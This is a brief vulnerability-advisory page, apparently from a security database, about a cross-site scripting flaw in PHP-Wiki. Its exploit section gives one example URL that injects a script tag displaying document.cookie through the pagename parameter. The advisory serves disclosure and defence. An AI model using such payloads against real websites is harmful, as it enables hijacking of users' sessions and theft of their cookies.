• info
• discussion
• exploit
• solution
• references

PHP-Wiki Cross-Site Scripting Vulnerability

The following example was submitted:

http://target/path/modules.php?op=modload&name=Wiki&file=index&pagename=<script>alert(document.cookie)</script>